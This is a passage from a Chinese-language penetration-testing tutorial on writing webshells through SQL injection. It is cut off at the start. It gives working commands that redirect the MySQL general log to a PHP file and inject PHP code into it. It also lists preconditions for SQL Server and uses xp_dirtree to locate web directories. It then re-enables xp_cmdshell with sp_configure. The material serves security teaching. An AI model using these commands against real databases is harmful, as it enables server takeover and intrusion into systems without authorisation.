将log日志开启,并设置日志的写入位置:
Set globalgeneral_log = on;
Set globalgeneral_log_file = ‘F:/test.php’;
图7:设置日志写入位置
(2)使用写入日志再读取的方法
直接在SQL注入点,使用查询语句,添加WebShell代码,如下:
Select '<?phpphpinfo();?>';
此时这段WebShell代码已经被记录到日志文件中了,接下就可以使用连接工具进行连接了。
图8:使用写入日志再读取的方法
SqlServer写入WebShell
01必备条件
① 有相应的权限db_owner
② 获得Web目录的绝对路径
02写入方法
向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。
03使用XP_cmdshell写入Webshell
(1)实验前准备:
首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree
execute master..xp_dirtree ‘c:’; 可以查出所有c:下的文件、目录、子目录。
图9:查找网站目录的绝对路径
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。
EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--
图10:打开xp_cmdshell扩展